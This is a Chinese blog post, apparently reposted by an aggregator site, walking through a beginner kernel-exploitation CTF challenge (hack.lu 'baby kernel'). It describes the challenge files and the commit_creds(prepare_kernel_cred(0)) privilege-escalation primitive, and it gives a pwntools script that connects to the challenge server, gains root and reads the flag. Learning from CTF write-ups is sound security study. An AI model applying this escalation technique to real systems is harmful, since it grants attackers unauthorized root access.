First Kernel-pwn

Posted zhijack

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了First Kernel-pwn相关的知识,希望对你有一定的参考价值。

Kernel pwn-极简题目的操作模式

完全参照M4x师傅的指导,用 hacklu的baby kernel迈了第一步

题目附带文件说明

一般题目会给出bzImage,.cpio, .sh文件

  • sh文件适用于启动kernel的shell脚本文件,参数决定了内核的保护情况。

  • .cpio文件为文件系统映像。将其解压可以获得服务器交互程序的客户端

  • bzImage为kernel binary,可视为压缩后的文件

  • vmlinux文件(if exists), 未经压缩的kernel文件,为ELF格式。

    • 如果没有vmlinux文件,可以通过extract-vmlinux提取

    • ./extract-vmlinux ./bzImage > vmlinux
      

基本操作

  1. 获得服务器文件系统环境

    解压cpio文件,能够获得服务器内部文件分布,包括创建环境的init脚本和交互程序。

    在inti文件中,通过insmod命令加载驱动模块

    insmod /lib/modules/4.4.72/babydriver.ko
    

    一般情况下,被加载的LKM即为漏洞所在。

    .ko文件也是ELF文件格式,可以通过ida进行分析。

    可以通过分析交互elf文件,确定交互逻辑和调用内核模块的??

  2. 提权

    最常用的提权手段:

    commit_creds(prepare_kernel_cred(0))
    

    两个函数的地址可以在 /proc/kallsyms中查看。

    vmlinux是未压缩的kernel文件(ELF格式),可以通过vmlinux提取到gadget,当然也可以从vmlinux文件中获取上面两个函数的地址。

  3. loadling…

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# 
from pwn import *
#context.log_level = ‘debug‘
context.terminal = [deepin-terminal, -x, sh, -c]
# io = process(‘./client_kernel_baby‘)
io = remote(arcade.fluxfingers.net, 1817)
kernel = ELF(./vmlinux)

# get the address of 2 functions from vmlinux
cred = kernel.sym[prepare_kernel_cred]
commit = kernel.sym[commit_creds]

# run prepare kernel cred(0) and get the return value
io.recvuntil(----- Menu -----)
io.sendlineafter(> , 1)
io.sendlineafter(>, str(cred))
io.sendlineafter(>, 0)
io.recvuntil(It is: )
ret_val = int(io.recvuntil(
, drop = True),16)

# run commit cred to get root private
io.sendlineafter(> , 1)
io.sendlineafter(>, str(commit))
io.sendlineafter(>, str(ret_val))

# read flag as root
io.sendlineafter(> , 3)
io.sendlineafter(>, flag)

io.interactive()

 

 

 

 


作者:辣鸡小谱尼
出处:http://www.cnblogs.com/ZHijack/
如有转载,荣幸之至!请随手标明出处;





以上是关于First Kernel-pwn的主要内容,如果未能解决你的问题,请参考以下文章

javascript 如果浏览器JS API支持,则此片段将Time to First Paint,Connection type和Speed发送到第一个网络跃点。脚本s

OpenGL First Cube渲染不起作用

片段 isVisible() 不成立时为真

片段组合在 Relay 中是如何工作的?

附加到片段的片段对话框不调用 onYes/No 方法

iOS一个'initWithRequest:delegate:' is deprecated: first deprecated in iOS 9.0 - Use NSURLSessi